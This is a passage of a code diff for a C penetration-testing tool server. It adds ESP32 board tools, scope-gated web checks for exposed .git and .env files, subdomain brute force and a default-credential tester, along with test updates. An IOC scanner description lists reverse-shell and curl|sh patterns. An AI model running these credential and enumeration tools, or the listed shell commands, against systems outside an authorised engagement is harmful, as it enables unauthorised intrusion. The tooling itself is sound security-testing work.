"rp_filter), /etc/shadow mode, world-writable directories in /etc, "
"listening TCP sockets, firewall rule files, SUID binaries. Returns a "
"score, findings with severities, and counts. Changes nothing and "
"touches no network target.",
"{\"type\":\"object\",\"properties\":{}}",
t_hardening_audit },
{ "log_audit",
"Summarise an auth log: failed passwords per source IP (flagged at five "
"or more), invalid users targeted, accepted logins, PAM authentication "
"failures. Read-only; the path must be under /var/log/ or the state "
"directory.",
"{\"type\":\"object\",\"properties\":{"
"\"path\":{\"type\":\"string\",\"description\":\"default /var/log/auth.log\"},"
"\"limit\":{\"type\":\"integer\",\"description\":\"lines to read, default "
"5000, max 50000\"}}}",
t_log_audit },
{ "ioc_scan",
"Walk a directory (default /etc) for common persistence and remote-code "
"strings: /dev/tcp reverse shells, bash -i, base64|sh, curl|sh, nc -e, "
"socat EXEC:, setuid chmod, systemd units under /tmp or /dev/shm, "
"writes to authorized_keys. Skips binaries and symlinks, caps at 100 "
"findings, changes nothing.",
"{\"type\":\"object\",\"properties\":{"
"\"path\":{\"type\":\"string\",\"description\":\"absolute directory, "
"default /etc\"},"
"\"limit\":{\"type\":\"integer\",\"description\":\"files to scan, default "
"2000, max 20000\"}}}",
t_ioc_scan },
};
const size_t TOOLS_BLUE_N = sizeof(TOOLS_BLUE) / sizeof(TOOLS_BLUE[0]);
+313
View File
@@ -0,0 +1,313 @@
/*
* tools_esp.c - ESP32 family support beyond the Marauder CLI.
*
* esp_info identify the attached chip (esptool chip_id) and the USB
* VID/PID when sysfs exposes it
* esp_monitor read the serial console for N seconds (no commands sent)
* esp_read_flash dump the flash to an evidence file with esptool
*
* The Marauder bridge in tools_radio.c covers the radio firmware; these tools
* cover the board itself: what is it, what does it print, and what is on it.
* All three are read-only; flashing a firmware image is deliberately not part
* of this build.
*/
#include <errno.h>
#include <poll.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <time.h>
#include <unistd.h>
#include "apex.h"
#include "tools.h"
static const char *esptool_name(void)
{
if (apex_have("esptool.py"))
return "esptool.py";
if (apex_have("esptool"))
return "esptool";
return NULL;
}
static int read_small(const char *path, char *buf, size_t cap)
{
FILE *f;
size_t n;
if (cap == 0)
return -1;
f = fopen(path, "rb");
if (f == NULL)
return -1;
n = fread(buf, 1, cap - 1, f);
fclose(f);
buf[n] = '\0';
while (n > 0 && (buf[n - 1] == '\n' || buf[n - 1] == '\r' ||
buf[n - 1] == ' '))
buf[--n] = '\0';
return (int)n;
}
/* /sys/class/tty/ttyACM0/device/../../idVendor, when sysfs exposes it */
static int usb_id(const char *serial, char *vid, size_t vn, char *pid, size_t pn)
{
const char *slash = strrchr(serial, '/');
char path[512];
int up;
if (slash == NULL || strlen(slash + 1) >= 64)
return -1;
for (up = 0; up <= 3; up++) {
size_t n;
int i;
snprintf(path, sizeof(path), "/sys/class/tty/%s/device", slash + 1);
for (i = 0; i < up; i++) {
n = strlen(path);
if (n + 4 >= sizeof(path))
return -1;
memcpy(path + n, "/..", 4);
}
n = strlen(path);
snprintf(path + n, sizeof(path) - n, "/idVendor");
if (read_small(path, vid, vn) > 0) {
snprintf(path + n, sizeof(path) - n, "/idProduct");
if (read_small(path, pid, pn) > 0)
return 0;
return 0;
}
}
return -1;
}
static void t_esp_info(mcp_conn *c, const mcp_json *args, void *user)
{
const char *serial = mcp_arg_string(args, "serial");
const char *tool = esptool_name();
mcp_buf b;
(void)user;
if (serial == NULL || *serial == '\0')
serial = g_cfg.serial;
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"serial\":");
apex_json_str(&b, serial);
{
char vid[16];
char pid[16];
if (usb_id(serial, vid, sizeof(vid), pid, sizeof(pid)) == 0) {
mcp_buf_puts(&b, ",\"usb\":{\"vid\":");
apex_json_str(&b, vid);
mcp_buf_puts(&b, ",\"pid\":");
apex_json_str(&b, pid);
mcp_buf_puts(&b, "}");
}
}
mcp_buf_puts(&b, ",\"esptool\":");
if (tool == NULL) {
mcp_buf_puts(&b, "false,\"output\":\"esptool is not installed "
"(pip install esptool); the serial device is still "
"usable by the marauder tools\"}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
return;
}
mcp_buf_puts(&b, "true");
{
char *argv[8];
int i = 0;
apex_proc p;
int rc;
argv[i++] = (char *)tool;
argv[i++] = "--port";
argv[i++] = (char *)serial;
argv[i++] = "chip_id";
argv[i] = NULL;
rc = apex_run(argv, 20000, 65536, &p);
if (rc != 0) {
mcp_buf_puts(&b, ",\"exit\":-1,\"output\":\"cannot run "
"esptool\"}");
} else {
mcp_buf_printf(&b, ",\"exit\":%d,\"output\":", p.exit_code);
apex_json_str(&b, p.out != NULL ? p.out : "");
apex_proc_free(&p);
}
}
mcp_buf_puts(&b, "}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
}
static void t_esp_monitor(mcp_conn *c, const mcp_json *args, void *user)
{
const char *serial = mcp_arg_string(args, "serial");
int seconds = mcp_arg_int(args, "seconds", 5);
int baud = mcp_arg_int(args, "baud", g_cfg.baud);
int fd;
time_t deadline;
mcp_buf b;
size_t total = 0;
(void)user;
if (serial == NULL || *serial == '\0')
serial = g_cfg.serial;
if (seconds <= 0 || seconds > 30)
seconds = 5;
fd = apex_serial_open(serial, baud);
if (fd < 0) {
mcp_buf_init(&b);
mcp_buf_printf(&b, "cannot open %s: %s", serial, strerror(errno));
mcp_reply_error(c, b.p);
mcp_buf_free(&b);
return;
}
mcp_buf_init(&b);
deadline = time(NULL) + seconds;
while (time(NULL) < deadline && total < (1u << 20)) {
struct pollfd p;
int pr;
char buf[4096];
ssize_t n;
p.fd = fd;
p.events = POLLIN;
p.revents = 0;
pr = poll(&p, 1, 200);
if (pr <= 0)
continue;
n = read(fd, buf, sizeof(buf));
if (n <= 0)
continue;
mcp_buf_add(&b, buf, (size_t)n);
total += (size_t)n;
}
close(fd);
{
mcp_buf out;
mcp_buf_init(&out);
mcp_buf_puts(&out, "{\"serial\":");
apex_json_str(&out, serial);
mcp_buf_printf(&out, ",\"seconds\":%d,\"bytes\":%lu,\"data\":",
seconds, (unsigned long)total);
apex_json_str(&out, b.p != NULL ? b.p : "");
mcp_buf_puts(&out, "}");
mcp_reply_json(c, out.p);
mcp_buf_free(&out);
}
mcp_buf_free(&b);
}
static void t_esp_read_flash(mcp_conn *c, const mcp_json *args, void *user)
{
const char *serial = mcp_arg_string(args, "serial");
const char *tool = esptool_name();
int offset = mcp_arg_int(args, "offset", 0);
int size = mcp_arg_int(args, "size", 1048576);
char path[APEX_PATH_FULL];
char name[96];
char offs[32];
char sizes[32];
mcp_buf b;
(void)user;
if (serial == NULL || *serial == '\0')
serial = g_cfg.serial;
if (tool == NULL) {
mcp_reply_error(c, "esptool is not installed (pip install esptool)");
return;
}
if (offset < 0 || offset > (16 << 20)) {
mcp_reply_error(c, "offset out of range (0..16777216)");
return;
}
if (size <= 0 || size > (4 << 20)) {
mcp_reply_error(c, "size out of range (1..4194304)");
return;
}
snprintf(name, sizeof(name), "%ld-esp-flash-%d.bin", (long)time(NULL),
(int)getpid());
if (apex_path_join(path, sizeof(path), g_cfg.evidence_dir, name) != 0) {
mcp_reply_error(c, "cannot build the evidence path");
return;
}
snprintf(offs, sizeof(offs), "0x%x", (unsigned)offset);
snprintf(sizes, sizeof(sizes), "0x%x", (unsigned)size);
{
char *argv[10];
int i = 0;
apex_proc p;
int rc;
argv[i++] = (char *)tool;
argv[i++] = "--port";
argv[i++] = (char *)serial;
argv[i++] = "read_flash";
argv[i++] = offs;
argv[i++] = sizes;
argv[i++] = path;
argv[i] = NULL;
rc = apex_run(argv, 180000, 65536, &p);
if (rc != 0) {
mcp_reply_error(c, "cannot run esptool");
return;
}
mcp_buf_init(&b);
if (p.exit_code == 0) {
struct stat st;
if (stat(path, &st) == 0) {
mcp_buf_puts(&b, "{\"path\":");
apex_json_str(&b, path);
mcp_buf_printf(&b, ",\"bytes\":%ld,\"offset\":%d,"
"\"exit\":0}", (long)st.st_size, offset);
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
apex_proc_free(&p);
return;
}
}
mcp_buf_printf(&b, "esptool exited %d: ", p.exit_code);
if (p.out != NULL)
mcp_buf_add(&b, p.out, p.out_len);
mcp_reply_error(c, b.p);
mcp_buf_free(&b);
apex_proc_free(&p);
}
}
const mcp_tool TOOLS_ESP[] = {
{ "esp_info",
"Identify the attached ESP32 family board: run esptool chip_id on the "
"serial port and report the chip output, or say that esptool is missing. "
"Read-only; no firmware is written.",
"{\"type\":\"object\",\"properties\":{"
"\"serial\":{\"type\":\"string\",\"description\":\"default APEX_SERIAL\"}}}",
t_esp_info },
{ "esp_monitor",
"Read the ESP32 serial console for N seconds and return what it printed. "
"Sends nothing: no reset, no command, no flash. Use it to see boot "
"messages or a firmware prompt.",
"{\"type\":\"object\",\"properties\":{"
"\"serial\":{\"type\":\"string\",\"description\":\"default APEX_SERIAL\"},"
"\"seconds\":{\"type\":\"integer\",\"description\":\"1..30, default 5\"},"
"\"baud\":{\"type\":\"integer\",\"description\":\"default APEX_BAUD\"}}}",
t_esp_monitor },
{ "esp_read_flash",
"Dump ESP32 flash into the evidence directory with esptool read_flash. "
"Offset 0..16 MiB, size up to 4 MiB, 0600 file, path returned. Read-only "
"on the device; flashing a firmware image is not part of this build.",
"{\"type\":\"object\",\"properties\":{"
"\"serial\":{\"type\":\"string\",\"description\":\"default APEX_SERIAL\"},"
"\"offset\":{\"type\":\"integer\",\"description\":\"default 0\"},"
"\"size\":{\"type\":\"integer\",\"description\":\"default 1 MiB, max "
"4 MiB\"}}}",
t_esp_read_flash },
};
const size_t TOOLS_ESP_N = sizeof(TOOLS_ESP) / sizeof(TOOLS_ESP[0]);
+4 -4
View File
@@ -68,7 +68,7 @@ static int baud_constant(int baud)
}
}
static int serial_open(const char *path, int baud)
int apex_serial_open(const char *path, int baud)
{
int fd = open(path, O_RDWR | O_NOCTTY | O_NONBLOCK);
struct termios tio;
@@ -318,7 +318,7 @@ static void t_radio_info(mcp_conn *c, const mcp_json *args, void *user)
(void)args;
(void)user;
fd = serial_open(g_cfg.serial, g_cfg.baud);
fd = apex_serial_open(g_cfg.serial, g_cfg.baud);
if (fd < 0) {
mcp_buf_init(&b);
mcp_buf_printf(&b, "cannot open %s: %s (is the Marauder plugged in? "
@@ -413,7 +413,7 @@ static void t_radio_cmd(mcp_conn *c, const mcp_json *args, void *user)
mcp_buf_free(&b);
return;
}
fd = serial_open(g_cfg.serial, g_cfg.baud);
fd = apex_serial_open(g_cfg.serial, g_cfg.baud);
if (fd < 0) {
mcp_buf_init(&b);
mcp_buf_printf(&b, "cannot open %s: %s", g_cfg.serial, strerror(errno));
@@ -476,7 +476,7 @@ static void t_radio_scan(mcp_conn *c, const mcp_json *args, void *user)
mcp_buf_free(&b);
return;
}
fd = serial_open(g_cfg.serial, g_cfg.baud);
fd = apex_serial_open(g_cfg.serial, g_cfg.baud);
if (fd < 0) {
mcp_buf_init(&b);
mcp_buf_printf(&b, "cannot open %s: %s", g_cfg.serial, strerror(errno));
+603
View File
@@ -0,0 +1,603 @@
/*
* tools_red.c - the offensive side of the suite beyond plain reconnaissance.
*
* Three tools, all behind the same gate:
*
* vuln_check non-destructive verification of exposed artifacts
* (.git/HEAD, .env, directory listing, phpinfo) with the
* response saved as evidence
* subdomain_enum DNS brute force under a name the scope allows
* cred_test HTTP Basic default-credential check, rate-limited, stops
* on lockout, and refuses an endpoint that answers without
* authentication
*
* None of them exploits anything. A check either observes a publicly reachable
* artifact or proves that a default password is accepted; the operator decides
* what becomes a finding.
*/
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <sys/socket.h>
#include <time.h>
#include "apex.h"
#include "tools.h"
/* ------------------------------------------------------------- utilities */
static void sleep_ms(long ms)
{
struct timespec ts;
ts.tv_sec = ms / 1000;
ts.tv_nsec = (ms % 1000) * 1000000L;
nanosleep(&ts, NULL);
}
static int find_bytes(const char *hay, size_t n, const char *needle)
{
size_t nl = strlen(needle);
size_t i;
if (nl == 0 || n < nl)
return 0;
for (i = 0; i + nl <= n; i++)
if (memcmp(hay + i, needle, nl) == 0)
return 1;
return 0;
}
/* ------------------------------------------------------------- vuln_check */
typedef struct {
const char *id;
const char *suffix; /* appended to the base path */
const char *severity; /* what a confirmed hit would be worth */
} vuln_mod;
static const vuln_mod VULN_MODS[] = {
{ "git", "/.git/HEAD", "medium" },
{ "env", "/.env", "high" },
{ "listing", "/", "low" },
{ "phpinfo", "/phpinfo.php", "low" },
};
/* A .env file is lines of KEY=value; HTML pages with "=" do not qualify. */
static int env_looks_like_env(const char *body, size_t len, char *keys,
size_t keys_n)
{
size_t i = 0;
int good = 0;
size_t used = 0;
keys[0] = '\0';
while (i < len) {
size_t start = i;
size_t eq;
size_t k;
while (i < len && body[i] != '\n')
i++;
eq = start;
while (eq < i && body[eq] != '=')
eq++;
if (eq < i && eq > start + 1) {
int ok = 1;
for (k = start; k < eq; k++) {
unsigned char ch = (unsigned char)body[k];
if (!((ch >= 'A' && ch <= 'Z') ||
(ch >= 'a' && ch <= 'z') ||
(ch >= '0' && ch <= '9') || ch == '_')) {
ok = 0;
break;
}
}
if (ok) {
good++;
if (used + (eq - start) + 2 < keys_n && good <= 8) {
size_t n = eq - start;
if (used > 0)
keys[used++] = ',';
memcpy(keys + used, body + start, n);
used += n;
keys[used] = '\0';
}
}
}
if (i < len)
i++;
}
return good >= 2;
}
static void t_vuln_check(mcp_conn *c, const mcp_json *args, void *user)
{
const char *target = mcp_arg_string(args, "target");
const char *base = mcp_arg_string(args, "path");
const char *only = mcp_arg_string(args, "checks");
int port = mcp_arg_int(args, "port", 80);
int tls = mcp_arg_bool(args, "tls", apex_looks_tls(port));
char root[512];
size_t rl;
mcp_buf b;
int first = 1;
int confirmed = 0;
size_t i;
(void)user;
if (target == NULL || *target == '\0') {
mcp_reply_error(c, "target is required");
return;
}
snprintf(root, sizeof(root), "%s", base != NULL && *base != '\0'
? base : "/");
rl = strlen(root);
while (rl > 0 && root[rl - 1] == '/')
root[--rl] = '\0';
if (!gated(c, "vuln_check", target, port))
return;
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"target\":");
apex_json_str(&b, target);
mcp_buf_printf(&b, ",\"port\":%d,\"tls\":%s,\"checks\":[",
port, tls ? "true" : "false");
for (i = 0; i < sizeof(VULN_MODS) / sizeof(VULN_MODS[0]); i++) {
const vuln_mod *m = &VULN_MODS[i];
char req[700];
char status[256];
char *resp = NULL;
size_t len = 0;
int code;
int hit = 0;
char *evidence = NULL;
char keys[256];
mcp_buf snippet;
if (only != NULL && *only != '\0' && strstr(only, m->id) == NULL)
continue;
snprintf(req, sizeof(req), "%s%s", root, m->suffix);
status[0] = '\0';
if (apex_http_once(target, port, tls, "GET", req, NULL, NULL,
10000, &resp, &len, status, sizeof(status)) != 0) {
if (!first)
mcp_buf_puts(&b, ",");
first = 0;
mcp_buf_puts(&b, "{\"id\":");
apex_json_str(&b, m->id);
mcp_buf_puts(&b, ",\"path\":");
apex_json_str(&b, req);
mcp_buf_puts(&b, ",\"status\":0,\"verdict\":\"error\"}");
continue;
}
code = apex_status_code(status);
keys[0] = '\0';
if (code == 200) {
if (strcmp(m->id, "git") == 0)
hit = find_bytes(resp, len, "ref: refs/");
else if (strcmp(m->id, "env") == 0)
hit = env_looks_like_env(resp, len, keys, sizeof(keys));
else if (strcmp(m->id, "listing") == 0)
hit = find_bytes(resp, len, "Index of /") &&
(find_bytes(resp, len, "Parent Directory") ||
find_bytes(resp, len, "<h1>Index"));
else if (strcmp(m->id, "phpinfo") == 0)
hit = find_bytes(resp, len, "PHP Version") ||
find_bytes(resp, len, "phpinfo()");
}
if (hit) {
char label[48];
snprintf(label, sizeof(label), "vuln-%s", m->id);
evidence = apex_evidence_save(label, resp, len);
confirmed++;
}
if (!first)
mcp_buf_puts(&b, ",");
first = 0;
mcp_buf_puts(&b, "{\"id\":");
apex_json_str(&b, m->id);
mcp_buf_puts(&b, ",\"path\":");
apex_json_str(&b, req);
mcp_buf_printf(&b, ",\"status\":%d,\"verdict\":\"%s\",\"severity\":",
code, hit ? "confirmed" : "not-found");
apex_json_str(&b, m->severity);
mcp_buf_puts(&b, ",\"evidence\":");
if (evidence != NULL)
apex_json_str(&b, evidence);
else
mcp_buf_puts(&b, "null");
if (hit && strcmp(m->id, "env") == 0) {
mcp_buf_puts(&b, ",\"keys\":");
apex_json_str(&b, keys);
} else if (hit) {
size_t n = len < 160 ? len : 160;
size_t k;
mcp_buf_init(&snippet);
for (k = 0; k < n; k++) {
char ch = resp[k];
if (ch == '\r' || ch == '\n' || ch == '\t')
ch = ' ';
if ((unsigned char)ch < 0x20)
ch = '.';
mcp_buf_add(&snippet, &ch, 1);
}
mcp_buf_puts(&b, ",\"snippet\":");
apex_json_str(&b, snippet.p != NULL ? snippet.p : "");
mcp_buf_free(&snippet);
}
mcp_buf_puts(&b, "}");
free(evidence);
free(resp);
}
mcp_buf_printf(&b, "],\"confirmed\":%d}", confirmed);
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
}
/* ---------------------------------------------------------- subdomain_enum */
static const char *SUBDOMAINS[] = {
"www", "mail", "ftp", "webmail", "smtp", "pop", "imap", "ns1", "ns2",
"dev", "test", "staging", "stage", "api", "admin", "portal", "vpn",
"git", "jenkins", "grafana", "jira", "confluence", "wiki", "docs",
"blog", "shop", "store", "db", "mysql", "postgres", "redis", "mongo",
"backup", "cdn", "static", "assets", "img", "m", "mobile", "app",
"beta", "demo", "old", "new", "internal", "intranet", "ldap", "sso",
"auth", "status", "monitor", "metrics", "prometheus", "kibana",
"vpn2", "remote", "gateway", "proxy", NULL
};
static int resolve_host(const char *host, char out[4][64], int *count)
{
struct addrinfo hints;
struct addrinfo *res = NULL;
struct addrinfo *p;
int n = 0;
int i;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if (getaddrinfo(host, NULL, &hints, &res) != 0)
return -1;
for (p = res; p != NULL && n < 4; p = p->ai_next) {
char text[64];
int dup = 0;
if (p->ai_family == AF_INET)
inet_ntop(AF_INET, &((struct sockaddr_in *)p->ai_addr)->sin_addr,
text, sizeof(text));
else if (p->ai_family == AF_INET6)
inet_ntop(AF_INET6, &((struct sockaddr_in6 *)p->ai_addr)->sin6_addr,
text, sizeof(text));
else
continue;
for (i = 0; i < n; i++)
if (strcmp(out[i], text) == 0)
dup = 1;
if (!dup) {
snprintf(out[n], 64, "%s", text);
n++;
}
}
freeaddrinfo(res);
*count = n;
return n > 0 ? 0 : -1;
}
static void t_subdomain_enum(mcp_conn *c, const mcp_json *args, void *user)
{
const char *domain = mcp_arg_string(args, "domain");
const char *names_arg = mcp_arg_string(args, "names");
int limit = mcp_arg_int(args, "limit", 50);
char reason[512];
char *names_copy = NULL;
char *names_save = NULL;
char *next_name = NULL;
mcp_buf b;
int first = 1;
int checked = 0;
int skipped = 0;
int found = 0;
int emitted = 0;
int i = 0;
(void)user;
if (domain == NULL || *domain == '\0') {
mcp_reply_error(c, "domain is required");
return;
}
if (limit <= 0 || limit > 200)
limit = 50;
if (!gated(c, "subdomain_enum", domain, 0))
return;
if (names_arg != NULL && *names_arg != '\0') {
names_copy = strdup(names_arg);
if (names_copy != NULL)
next_name = strtok_r(names_copy, ",", &names_save);
}
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"domain\":");
apex_json_str(&b, domain);
mcp_buf_puts(&b, ",\"found\":[");
for (;;) {
char full[300];
const char *name;
char addrs[4][64];
int naddr = 0;
if (names_copy != NULL) {
name = next_name;
if (name == NULL)
break;
next_name = strtok_r(NULL, ",", &names_save);
} else {
if (SUBDOMAINS[i] == NULL || i >= limit)
break;
name = SUBDOMAINS[i++];
}
while (*name == ' ' || *name == '\t')
name++;
if (*name == '\0')
continue;
if (strchr(name, '.') != NULL)
snprintf(full, sizeof(full), "%s", name);
else
snprintf(full, sizeof(full), "%s.%s", name, domain);
checked++;
if (!apex_scope_check(full, 0, reason, sizeof(reason))) {
skipped++;
continue;
}
if (resolve_host(full, addrs, &naddr) == 0) {
int k;
found++;
if (emitted >= 50)
continue;
if (!first)
mcp_buf_puts(&b, ",");
first = 0;
emitted++;
mcp_buf_puts(&b, "{\"name\":");
apex_json_str(&b, full);
mcp_buf_puts(&b, ",\"addresses\":[");
for (k = 0; k < naddr; k++) {
if (k > 0)
mcp_buf_puts(&b, ",");
apex_json_str(&b, addrs[k]);
}
mcp_buf_puts(&b, "]}");
}
if (checked >= 200)
break;
}
free(names_copy);
mcp_buf_printf(&b, "],\"checked\":%d,\"skipped\":%d,\"count\":%d}",
checked, skipped, found);
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
}
/* ---------------------------------------------------------------- cred_test */
static int split_list(char *text, char **out, int max)
{
int n = 0;
char *save = NULL;
char *tok = strtok_r(text, ",", &save);
while (tok != NULL && n < max) {
while (*tok == ' ' || *tok == '\t')
tok++;
if (*tok != '\0')
out[n++] = tok;
tok = strtok_r(NULL, ",", &save);
}
return n;
}
static void t_cred_test(mcp_conn *c, const mcp_json *args, void *user)
{
const char *target = mcp_arg_string(args, "target");
const char *path = mcp_arg_string(args, "path");
const char *users_arg = mcp_arg_string(args, "users");
const char *pass_arg = mcp_arg_string(args, "passwords");
int port = mcp_arg_int(args, "port", 80);
int tls = mcp_arg_bool(args, "tls", apex_looks_tls(port));
int max_attempts = mcp_arg_int(args, "max_attempts", 20);
char status[256];
char *resp = NULL;
size_t len = 0;
int code;
int found = 0;
int lockout = 0;
int attempts = 0;
char userbuf[256];
char passbuf[512];
char *users[12];
char *passes[12];
int nusers;
int npasses;
int u;
int p;
char found_user[64];
char found_pass[128];
mcp_buf b;
(void)user;
if (target == NULL || *target == '\0') {
mcp_reply_error(c, "target is required");
return;
}
if (path == NULL || *path == '\0')
path = "/";
if (path[0] != '/') {
mcp_reply_error(c, "path must start with /");
return;
}
if (max_attempts <= 0 || max_attempts > 40)
max_attempts = 20;
found_user[0] = '\0';
found_pass[0] = '\0';
if (!gated(c, "cred_test", target, port))
return;
/* A path that answers without credentials is not a login: there is
* nothing to test, and calling the first pair a success would be a lie. */
status[0] = '\0';
if (apex_http_once(target, port, tls, "GET", path, NULL, NULL, 10000,
&resp, &len, status, sizeof(status)) == 0) {
code = apex_status_code(status);
free(resp);
resp = NULL;
if (code != 401 && code != 403) {
mcp_buf_init(&b);
mcp_buf_printf(&b, "{\"target\":");
apex_json_str(&b, target);
mcp_buf_printf(&b, ",\"port\":%d,\"error\":\"path answered %d "
"without authentication; nothing to test\","
"\"attempts\":0,\"found\":false,\"lockout\":false}",
port, code);
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
return;
}
}
snprintf(userbuf, sizeof(userbuf), "%s",
users_arg != NULL && *users_arg != '\0' ? users_arg
: "admin,root,test");
snprintf(passbuf, sizeof(passbuf), "%s",
pass_arg != NULL && *pass_arg != '\0' ? pass_arg
: "admin,password,admin123,"
"root,toor,test");
nusers = split_list(userbuf, users, 12);
npasses = split_list(passbuf, passes, 12);
for (u = 0; u < nusers && !found && !lockout; u++) {
for (p = 0; p < npasses && !found && !lockout; p++) {
char pair[256];
char header[512];
char *b64;
if (attempts >= max_attempts)
break;
snprintf(pair, sizeof(pair), "%s:%s", users[u], passes[p]);
b64 = apex_base64_alloc(pair, strlen(pair));
if (b64 == NULL)
continue;
snprintf(header, sizeof(header),
"Authorization: Basic %s\r\n", b64);
free(b64);
status[0] = '\0';
if (apex_http_once(target, port, tls, "GET", path, NULL, header,
10000, &resp, &len, status,
sizeof(status)) == 0) {
code = apex_status_code(status);
attempts++;
if (code == 429) {
lockout = 1;
} else if (code == 200 || code == 201 || code == 301 ||
code == 302) {
found = 1;
snprintf(found_user, sizeof(found_user), "%s",
users[u]);
snprintf(found_pass, sizeof(found_pass), "%s",
passes[p]);
}
free(resp);
resp = NULL;
}
if (!found && !lockout)
sleep_ms(200);
}
if (attempts >= max_attempts)
break;
}
apex_audit("cred_test", target, port, found,
found ? "default credentials accepted" : "no default credentials",
"HTTP Basic");
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"target\":");
apex_json_str(&b, target);
mcp_buf_printf(&b, ",\"port\":%d,\"path\":", port);
apex_json_str(&b, path);
mcp_buf_printf(&b, ",\"attempts\":%d,\"found\":%s,\"lockout\":%s",
attempts, found ? "true" : "false",
lockout ? "true" : "false");
mcp_buf_puts(&b, ",\"username\":");
apex_json_str(&b, found_user);
mcp_buf_puts(&b, ",\"password\":");
apex_json_str(&b, found_pass);
mcp_buf_puts(&b, "}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
}
const mcp_tool TOOLS_RED[] = {
{ "vuln_check",
"Non-destructive verification of exposed artifacts on one web target: "
".git/HEAD (a real ref), .env (two or more KEY=value lines; values are "
"not echoed, only the key names), open directory listing, phpinfo. Each "
"confirmed hit saves the raw response as evidence and reports its "
"severity; nothing is exploited and nothing is written. Gate: the target "
"must be in scope.",
"{\"type\":\"object\",\"properties\":{"
"\"target\":{\"type\":\"string\"},"
"\"port\":{\"type\":\"integer\",\"description\":\"default 80\"},"
"\"path\":{\"type\":\"string\",\"description\":\"base path, default /\"},"
"\"checks\":{\"type\":\"string\",\"description\":\"comma list: git,env,"
"listing,phpinfo; default all\"},"
"\"tls\":{\"type\":\"boolean\"}},"
"\"required\":[\"target\"]}",
t_vuln_check },
{ "subdomain_enum",
"Resolve a built-in list of common subdomains (or names you pass) under "
"one in-scope domain and report the ones that exist. Every name is "
"checked by the gate before it is resolved, so a wildcard scope does not "
"let a lookup escape the engagement. DNS only; no ports are touched.",
"{\"type\":\"object\",\"properties\":{"
"\"domain\":{\"type\":\"string\"},"
"\"names\":{\"type\":\"string\",\"description\":\"comma list of labels or "
"full host names; default built-in wordlist\"},"
"\"limit\":{\"type\":\"integer\",\"description\":\"wordlist cap, default "
"50, max 200\"}},"
"\"required\":[\"domain\"]}",
t_subdomain_enum },
{ "cred_test",
"Try a small default-credential list against one HTTP Basic endpoint. "
"Refuses a path that answers without authentication, stops on 429 "
"(rate limit), sleeps 200 ms between attempts, and caps at 20 attempts. "
"Found credentials are returned so the operator can record the finding; "
"the audit line never contains the password. Gate: the target must be "
"in scope.",
"{\"type\":\"object\",\"properties\":{"
"\"target\":{\"type\":\"string\"},"
"\"port\":{\"type\":\"integer\",\"description\":\"default 80\"},"
"\"path\":{\"type\":\"string\",\"description\":\"default /\"},"
"\"users\":{\"type\":\"string\",\"description\":\"comma list, max 12\"},"
"\"passwords\":{\"type\":\"string\",\"description\":\"comma list, max 12;"
" at most 20 attempts are made\"},"
"\"max_attempts\":{\"type\":\"integer\",\"description\":\"default 20, max "
"40\"},"
"\"tls\":{\"type\":\"boolean\"}},"
"\"required\":[\"target\"]}",
t_cred_test },
};
const size_t TOOLS_RED_N = sizeof(TOOLS_RED) / sizeof(TOOLS_RED[0]);
+19
View File
@@ -205,6 +205,15 @@ static char *find_ci(const char *hay, const char *needle)
return NULL;
}
int apex_http_once(const char *host, int port, int tls, const char *method,
const char *path, const char *body, const char *headers,
int timeout_ms, char **out, size_t *out_len,
char *status_line, size_t status_n)
{
return http_once(host, port, tls, method, path, body, headers, timeout_ms,
out, out_len, status_line, status_n, NULL, NULL);
}
static int status_code(const char *status_line)
{
const char *p = status_line;
@@ -224,11 +233,21 @@ static int status_code(const char *status_line)
return atoi(p);
}
int apex_status_code(const char *status_line)
{
return status_code(status_line);
}
static int looks_tls(int port)
{
return port == 443 || port == 8443 || port == 9443 || port == 4443;
}
int apex_looks_tls(int port)
{
return looks_tls(port);
}
/* Cheap sanity check: no CRLF injection into the request line. */
static int safe_token(const char *s, size_t max)
{
+5 -2
View File
@@ -21,12 +21,15 @@ import re
import sys
HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
EXPECTED_TOOLS = 45
EXPECTED_TOOLS = 54
GATE = ("gated(", "gated_cmd(", "apex_scope_check(")
NET = ("http_once(", "tcp_connect_host(", "tcp_probe(", "apex_run(")
# Tools whose "target" argument filters local records; they never touch it.
RECORD_FILTERS = {"asset_list", "finding_list", "report_markdown",
"traffic_list"}
# Tools that spawn a local program for hardware, not a network target. They take
# no target and cannot reach one through the argv they build.
LOCAL_EXEC = {"esp_info", "esp_read_flash"}
TABLE_RE = re.compile(r"const mcp_tool (TOOLS_[A-Z_]+)\[\] = \{(.*?)\n\};",
re.S)
@@ -160,7 +163,7 @@ def main():
violations.append("%s: schema has target but %s has no gate call" %
(name, tool["handler"]))
ok = False
if uses_net and not gated:
if uses_net and not gated and name not in LOCAL_EXEC:
violations.append("%s: %s uses a socket/process but has no gate call" %
(name, tool["handler"]))
ok = False
+314 -2
View File
@@ -130,7 +130,7 @@ res, _ = run([
], home=empty)
check("tools/list answers", any(r.get("id") == 1 for r in res))
tools = [r for r in res if r.get("id") == 1][0]["result"]["tools"]
check("45 tools registered", len(tools) == 45, len(tools))
check("54 tools registered", len(tools) == 54, len(tools))
names = {t["name"] for t in tools}
for need in ("portscan", "nmap", "http_request", "marauder_scan",
"method_playbook", "finding_add", "finding_update", "scope_check",
@@ -1556,7 +1556,7 @@ try:
check("http initialize", init["result"]["serverInfo"]["name"] == "apex-twin",
init)
listing = post({"jsonrpc": "2.0", "id": 2, "method": "tools/list"})
check("http tools/list", len(listing["result"]["tools"]) == 45)
check("http tools/list", len(listing["result"]["tools"]) == 54)
shown = post(call(3, "scope_show"))
check("http scope_show", '"loaded":true' in shown["result"]["content"][0]["text"])
# the id must be the request's id, not one found inside the arguments
